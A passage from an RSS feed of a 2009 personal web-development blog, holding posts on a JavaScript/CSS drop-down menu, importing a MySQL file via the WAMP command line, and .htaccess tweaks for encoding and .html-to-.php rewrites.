    &lt;li&gt;&lt;a href=&quot;#&quot;
        onmouseover=&quot;mopen('m1')&quot;
        onmouseout=&quot;mclosetime()&quot;&gt;Home&lt;/a&gt;
        &lt;div id=&quot;m1&quot;
            onmouseover=&quot;mcancelclosetime()&quot;
            onmouseout=&quot;mclosetime()&quot;&gt;
        &lt;a href=&quot;#&quot;&gt;HTML Drop Down&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;DHTML Menu&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;JavaScript DropDown&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;Cascading Menu&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;CSS Horizontal Menu&lt;/a&gt;
        &lt;/div&gt;
    &lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#&quot;
        onmouseover=&quot;mopen('m2')&quot;
        onmouseout=&quot;mclosetime()&quot;&gt;Download&lt;/a&gt;
        &lt;div id=&quot;m2&quot;
            onmouseover=&quot;mcancelclosetime()&quot;
            onmouseout=&quot;mclosetime()&quot;&gt;
        &lt;a href=&quot;#&quot;&gt;ASP Dropdown&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;Pulldown menu&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;AJAX Drop Submenu&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;DIV Cascading Menu&lt;/a&gt;
        &lt;/div&gt;
    &lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Order&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Help&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Contact&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;
</pre>
<p><strong>CSS Code</strong></p>
<pre class="brush: css;">
#sddm {
	margin: 0;
	padding: 0;
	z-index: 30
}

#sddm li {
	margin: 0;
	padding: 0;
	list-style: none;
	float: left;
	font: bold 11px arial
}

#sddm li a {
	display: block;
	margin: 0 1px 0 0;
	padding: 4px 10px;
	width: 60px;
	background: #5970B2;
	color: #FFF;
	text-align: center;
	text-decoration: none
}

#sddm li a:hover {
	background: #49A3FF
}

#sddm div {
	position: absolute;
	visibility: hidden;
	margin: 0;
	padding: 0;
	background: #EAEBD8;
	border: 1px solid #5970B2
}

	#sddm div a {
		position: relative;
		display: block;
		margin: 0;
		padding: 5px 10px;
		width: auto;
		white-space: nowrap;
		text-align: left;
		text-decoration: none;
		background: #EAEBD8;
		color: #2875DE;
		font: 11px arial
	}

	#sddm div a:hover	{
		background: #49A3FF;
		color: #FFF
	}
</pre>
<p><strong>JavaScript Code</strong></p>
<pre class="brush: jscript;">
var timeout	= 500;
var closetimer	= 0;
var ddmenuitem	= 0;

// open hidden layer
function mopen(id)
{
	// cancel close timer
	mcancelclosetime();

	// close old layer
	if(ddmenuitem) ddmenuitem.style.visibility = 'hidden';

	// get new layer and show it
	ddmenuitem = document.getElementById(id);
	ddmenuitem.style.visibility = 'visible';

}
// close showed layer
function mclose()
{
	if(ddmenuitem) ddmenuitem.style.visibility = 'hidden';
}

// go close timer
function mclosetime()
{
	closetimer = window.setTimeout(mclose, timeout);
}

// cancel close timer
function mcancelclosetime()
{
	if(closetimer)
	{
		window.clearTimeout(closetimer);
		closetimer = null;
	}
}

// close layer when click-out
document.onclick = mclose;
</pre>
<p><a href="http://www.silenthinker.com/code/simple-drop-down-menu/">Simple Drop Down Menu</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/vgGtDg6Yf0c" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/code/simple-drop-down-menu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/code/simple-drop-down-menu/</feedburner:origLink></item>
		<item>
		<title>How to Import MySQL File Using Command Line in WAMP</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/zMz26g7SEhE/</link>
		<comments>http://www.silenthinker.com/tutorial/how-to-import-mysql-file-within-wamp-environment-using-command-line/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 14:10:58 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[tutorial]]></category>
		<category><![CDATA[.sql]]></category>
		<category><![CDATA[database import]]></category>
		<category><![CDATA[localhost]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[wamp]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/blog/?p=56</guid>
		<description><![CDATA[I just start using WAMP (http://www.wampserver.com/en/download.php) and try to learn how to import  .sql file into a database in WAMP environment using command line. After googling in the internet, I found the way as the following: 1. After you have installed the WAMP, go run the cmd (DOS) and get into the mysql folder, for [...]<p><a href="http://www.silenthinker.com/tutorial/how-to-import-mysql-file-within-wamp-environment-using-command-line/">How to Import MySQL File Using Command Line in WAMP</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Ftutorial%2Fhow-to-import-mysql-file-within-wamp-environment-using-command-line%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Ftutorial%2Fhow-to-import-mysql-file-within-wamp-environment-using-command-line%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>I just start using WAMP (http://www.wampserver.com/en/download.php) and try to learn how to import  .sql file into a database in WAMP environment using command line.</p>
<p>After googling in the internet, I found the way as the following:</p>
<p>1. After you have installed the WAMP, go run the cmd (DOS) and get into the mysql folder, for example:</p>
<blockquote><p><em>C:\&gt;cd C:\wamp\bin\mysql\mysql5.1.32\bin</em></p></blockquote>
<p>2. Then use this command to fire up MySQL</p>
<blockquote><p><em>C:\wamp\bin\mysql\mysql</em><em>5.1.32</em><em>\bin&gt;mysql.exe -use databasename -u username -p optional_password</em></p></blockquote>
<p>This line basically connects you to the mysql database of your choice.</p>
<p>3. To make things easier, copy the SQL file into the same folder where the mysql.exe file is located. And then run this</p>
<blockquote><p><em>mysql&gt; source myfilename.sql;</em></p></blockquote>
<p>This should works then!</p>
<p><a href="http://www.silenthinker.com/tutorial/how-to-import-mysql-file-within-wamp-environment-using-command-line/">How to Import MySQL File Using Command Line in WAMP</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/zMz26g7SEhE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/tutorial/how-to-import-mysql-file-within-wamp-environment-using-command-line/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/tutorial/how-to-import-mysql-file-within-wamp-environment-using-command-line/</feedburner:origLink></item>
		<item>
		<title>How to solve website encoding problem for html?</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/1cEieoKKTrw/</link>
		<comments>http://www.silenthinker.com/how-to/how-to-solve-website-encoding-problem-for-html/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 08:23:49 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[how to]]></category>
		<category><![CDATA[encoding]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[unicode]]></category>
		<category><![CDATA[utf-8]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/blog/miscellaneous/how-to-solve-website-encoding-problem-for-html/</guid>
		<description><![CDATA[If you ever encounter problem where your website can&#8217;t display the unicode character properly even you have added &#60;meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″ /&#62; in your html files, please try to add following line to your htaccess. AddType application/x-httpd-php .html This should work then. How to solve website encoding problem for html? is a post from: [...]<p><a href="http://www.silenthinker.com/how-to/how-to-solve-website-encoding-problem-for-html/">How to solve website encoding problem for html?</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Fhow-to%2Fhow-to-solve-website-encoding-problem-for-html%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Fhow-to%2Fhow-to-solve-website-encoding-problem-for-html%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>If you ever encounter problem where your website can&#8217;t display the unicode character properly even you have added <em>&lt;meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″ /&gt;</em> in your html files, please try to add following line to your htaccess.</p>
<blockquote><p><em>AddType application/x-httpd-php .html</em></p></blockquote>
<p>This should work then.</p>
<p><a href="http://www.silenthinker.com/how-to/how-to-solve-website-encoding-problem-for-html/">How to solve website encoding problem for html?</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/1cEieoKKTrw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/how-to/how-to-solve-website-encoding-problem-for-html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/how-to/how-to-solve-website-encoding-problem-for-html/</feedburner:origLink></item>
		<item>
		<title>How to internal redirect .php files to .html files?</title>
		<link>http://feedproxy.google.com/~r/silenthinker/~3/2xYyzm4Z_mE/</link>
		<comments>http://www.silenthinker.com/how-to/how-to-internal-redirect-php-files-to-html-files/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 01:52:12 +0000</pubDate>
		<dc:creator>Wei Kiat</dc:creator>
				<category><![CDATA[how to]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[redirect]]></category>
		<category><![CDATA[rewrite mod]]></category>

		<guid isPermaLink="false">http://www.silenthinker.com/blog/?p=25</guid>
		<description><![CDATA[Redirects all files that end in .html to be served from filename.php  so it looks like all your pages are .html but really they are .php Options +FollowSymLinks RewriteEngine On RewriteBase / RewriteRule ^(.*)\.html$ $1.php [R=301,L] How to internal redirect .php files to .html files? is a post from: Silenthinker<p><a href="http://www.silenthinker.com/how-to/how-to-internal-redirect-php-files-to-html-files/">How to internal redirect .php files to .html files?</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.silenthinker.com%2Fhow-to%2Fhow-to-internal-redirect-php-files-to-html-files%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.silenthinker.com%2Fhow-to%2Fhow-to-internal-redirect-php-files-to-html-files%2F&amp;style=normal" height="61" width="50" /><br />
			</a>
		</div>
<p>Redirects all files that end in .html to be served from filename.php  so it looks like all your pages are .html but really they are .php</p>
<blockquote><p>Options +FollowSymLinks<br />
RewriteEngine On<br />
RewriteBase /<br />
RewriteRule ^(.*)\.html$ $1.php [R=301,L]</p></blockquote>
<p><a href="http://www.silenthinker.com/how-to/how-to-internal-redirect-php-files-to-html-files/">How to internal redirect .php files to .html files?</a> is a post from: <a href="http://www.silenthinker.com">Silenthinker</a></p>
<img src="http://feeds.feedburner.com/~r/silenthinker/~4/2xYyzm4Z_mE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.silenthinker.com/how-to/how-to-internal-redirect-php-files-to-html-files/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.silenthinker.com/how-to/how-to-internal-redirect-php-files-to-html-files/</feedburner:origLink></item>
	</channel>
</rss>
